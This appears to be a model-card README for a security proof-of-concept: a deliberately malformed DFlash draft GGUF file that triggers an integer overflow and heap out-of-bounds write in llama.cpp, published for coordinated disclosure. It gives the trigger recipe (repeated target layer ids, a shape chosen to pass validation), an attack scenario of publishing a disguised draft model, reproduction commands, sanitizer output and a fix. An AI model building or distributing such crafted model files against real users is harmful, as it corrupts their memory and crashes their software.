| --- |
| license: mit |
| tags: |
| - security |
| - vulnerability-research |
| - proof-of-concept |
| - llama.cpp |
| - gguf |
| - not-a-real-model |
| viewer: false |
| inference: false |
| extra_gated_prompt: >- |
| This repository contains a deliberately malformed GGUF file used only to |
| demonstrate a memory-safety bug in llama.cpp for coordinated disclosure. |
| --- |
| |
| # β οΈ Security PoC β NOT a usable model |
|
|
| **This is not a language model.** `evil_dflash.gguf` is a **deliberately crafted, malformed |
| DFlash draft GGUF** whose only purpose is to trigger a heap out-of-bounds **write** in |
| [`ggml-org/llama.cpp`](https://github.com/ggml-org/llama.cpp) when the victim runs DFlash |
| speculative decoding with it. It produces no useful output and must not be used for inference. |
|
|
| It is published here solely as the reproducible proof-of-concept artifact for a coordinated |
| vulnerability report (huntr / GGUF model-file-format bounty). Do not load it with any llama.cpp |
| build you care about. |
|
|
| --- |
|
|
| ## Vulnerability summary |
|
|
| - **Project:** `ggml-org/llama.cpp` (commit `c15c5c7`; the vulnerable line is also on `master` |
| HEAD `e3546c7`). |
| - **Weakness:** CWE-190 (integer overflow) β CWE-787 (out-of-bounds write). |
| - **Component:** DFlash speculative decoding (`common/speculative.cpp`), DFlash arch loader |
| (`src/models/dflash.cpp`). DFlash was added in llama.cpp PR #22105. |
|
|
| A DFlash draft model's GGUF metadata key `dflash.target_layers` is an `int32` array whose length |
| is attacker-controlled and **unbounded** (read via the vector overload of |
| `llama_model_loader::get_arr`, no cap). That length feeds a **32-bit signed multiply**: |
|
|
| ```cpp |
| // common/speculative.cpp:941 |
| n_embd_enc = (int32_t) target_layer_ids_n * n_embd_tgt; // 1048577 * 4096 == 2^32 + 4096 β wraps to 4096 |
| ``` |
|
|
| The wrapped width under-sizes a heap buffer, but the feature-copy loop then runs the **full, |
| un-wrapped** count (`~1.05M` iterations), writing target-model activation slices past the end of |
| the allocation: |
|
|
| ```cpp |
| // common/speculative.cpp:1050-1059 |
| features_buf.resize((size_t) n_chunk * n_embd_enc); // sized from the wrapped 4096 |
| for (uint32_t k = 0; k < target_layer_ids_n; ++k) { // full ~1.05M |
| ... |
| std::memcpy(dst, src, (size_t) n_embd_tgt * sizeof(float)); // heap OOB WRITE |
| } |
| ``` |
|
|
| The per-iteration `if (!layer) GGML_ABORT` guard is bypassed by filling `target_layers` with a |
| single valid target layer id (e.g. `0`) repeated. EAGLE3 uses the same fused-encoder pattern but |
| rejects any `target_layers` not exactly length 3 (`src/models/eagle3.cpp:9-11`); **DFlash has no |
| such cap.** |
|
|
| The attacker controls *how far* the writes run past the buffer; the written bytes are the target |
| model's per-layer activations (not attacker-chosen bytes). Demonstrated impact is a **deterministic |
| heap out-of-bounds write / memory corruption / crash**. Code execution is not demonstrated. |
|
|
| ### Configuration gate (honest scope) |
|
|
| DFlash is **not** enabled by default. The victim must run llama.cpp with both: |
|
|
| ``` |
| --model-draft <this evil_dflash.gguf> --spec-type draft-dflash |
| ``` |
|
|
| Once configured, the first ordinary text-generation request trips the write. This is a |
| *malicious-draft-model* bug in llama.cpp's documented untrusted-GGUF threat model, with the added |
| precondition that DFlash decoding is turned on. |
|
|
| --- |
|
|
| ## Attack scenario |
|
|
| DFlash is a newly merged speculative-decoding mode promoted for inference speed-ups, so users have a |
| concrete reason to download and run third-party DFlash draft models from model hubs β exactly as they |
| already do for main models. An attacker publishes a normal-looking DFlash draft whose |
| `dflash.target_layers` is a valid target layer id (e.g. `0`) repeated ~1.05 million times. A victim |
| who adopts DFlash speculative decoding starts their server or CLI with |
| `--model-draft <attacker>.gguf --spec-type draft-dflash` against any target model of hidden size 4096. |
| On the **first ordinary generation request**, the 32-bit encoder-width multiply wraps, `features_buf` |
| is under-sized, and the copy loop writes ~1.05M target-activation slices past the allocation β a |
| deterministic heap out-of-bounds write at `common/speculative.cpp:1059`. The victim's prompt is only |
| the trigger; the corruption's extent is fixed entirely by the attacker's draft metadata. This is |
| llama.cpp's documented untrusted-model threat model, with the single extra precondition that DFlash |
| decoding is enabled (off by default). |
|
|
| --- |
|
|
| ## Files in this repo |
|
|
| | File | What it is | |
| |---|---| |
| | `evil_dflash.gguf` | **The malicious DFlash draft** (390 MB): `target_layers` = 1,048,577 Γ `0`, `fc.weight` shaped `{4096,4096}` to survive load-time validation. | |
| | `minimal_target_4096.gguf` | A tiny (0.36 MiB) benign 1-layer target model, hidden size 4096, used as the DFlash target in the live PoC. | |
| | `make_evil_dflash_gguf.py` | Regenerates `evil_dflash.gguf` from scratch (deterministic). | |
| | `make_minimal_dflash_target_gguf.py` | Regenerates `minimal_target_4096.gguf`. | |
| | `dflash_overflow_poc.cpp`, `build_dflash_poc.sh`, `dflash_asan.log` | **PoC 1** β focused arithmetic harness reproducing `speculative.cpp:941/1050/1059` verbatim (no llama.cpp build needed). | |
| | `dflash_loader_poc.c`, `build_dflash_loader.sh`, `dflash_loader.trimmed.log` | **PoC 2** β loads `evil_dflash.gguf` through the real ASAN `libllama.so`; proves the load-time wrap + `fc.weight`-shape bypass are real (`LOAD OK`). | |
| | `dflash_live_poc.cpp`, `build_dflash_live_poc.sh`, `dflash_live_asan.log` | **PoC 3** β loads both real GGUFs, runs llama.cpp's compiled `common_speculative_process()`, ASAN catches the OOB write at the real `common/speculative.cpp:1059`. | |
| | `run_dflash_live_server.sh` | Optional: drives the full `llama-server` HTTP wrapper (run outside a network-restricted sandbox). | |
|
|
| --- |
|
|
| ## Reproduce |
|
|
| Prerequisite: build llama.cpp `@ c15c5c7` with AddressSanitizer: |
|
|
| ```bash |
| git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp |
| git checkout c15c5c7 |
| cmake -B build-asan -DLLAMA_SANITIZE_ADDRESS=ON -DGGML_NATIVE=OFF |
| cmake --build build-asan -j # llama + ggml shared libs are enough |
| ``` |
|
|
| Then, from this repo's directory, point the scripts at **your** llama.cpp checkout and its ASAN |
| build via the `LLAMA_CPP_DIR` / `BUILD_DIR` environment variables (no need to edit the scripts). |
| The model generators use a pip-installed `gguf` if present (`pip install gguf`), otherwise the |
| `gguf-py` inside `LLAMA_CPP_DIR`: |
|
|
| ```bash |
| export LLAMA_CPP_DIR=~/llama.cpp # your checkout @ c15c5c7 |
| export BUILD_DIR=$LLAMA_CPP_DIR/build-asan # the -DLLAMA_SANITIZE_ADDRESS=ON build |
| pip install gguf # (or rely on $LLAMA_CPP_DIR/gguf-py) |
| |
| # PoC 1 β arithmetic + OOB, no llama.cpp build needed (fully standalone) |
| bash build_dflash_poc.sh # β dflash_asan.log: heap-buffer-overflow WRITE, wrapped width = 4096 |
| |
| # PoC 2 β malicious model loads through the real loader |
| python3 make_evil_dflash_gguf.py # (re)generate evil_dflash.gguf (or use the uploaded one) |
| bash build_dflash_loader.sh # β "[poc] LOAD OK ... n_embd=4096" |
| |
| # PoC 3 β real two-model DFlash path hits the real sink |
| python3 make_minimal_dflash_target_gguf.py |
| bash build_dflash_live_poc.sh # β dflash_live_asan.log: OOB WRITE at common/speculative.cpp:1059 |
| ``` |
|
|
| Expected PoC 3 output (abridged): |
|
|
| ``` |
| common_speculative_impl_draft_dflash: - block_size=16, mask_token_id=-1, n_extract=1048577 |
| [poc] target decode OK; entering common_speculative_process |
| ==ERROR: AddressSanitizer: heap-buffer-overflow |
| WRITE of size 16384 at 0x... 0 bytes to the right of 32768-byte region |
| #2 common_speculative_impl_draft_dflash::process ... common/speculative.cpp:1059 |
| #3 common_speculative_process ... common/speculative.cpp:2508 |
| allocated by ... common/speculative.cpp:1050 |
| ``` |
|
|
| --- |
|
|
| ## Suggested fix |
|
|
| Bound the `target_layers` length and perform the width math in 64-bit, **rejecting** (not |
| saturating) oversized input, at both the load-time (`src/models/dflash.cpp:14`) and runtime |
| (`common/speculative.cpp:941`) multiplies. A small cap on the layer count is the cleanest fix β real |
| DFlash models extract only a handful of layers. |
|
|
| ## Disclosure |
|
|
| Reported via coordinated disclosure. No public duplicate was found as of 2026-07-12 (distinct from |
| PR #25513, which is the unrelated `block_count`/`n_layer_all` family β different file, root cause, |
| and fix boundary). This "no match" is time-bounded and cannot rule out a private report. |
|
|
| *Security research artifact. Provided as-is for defensive/coordinated-disclosure purposes only.* |
|
|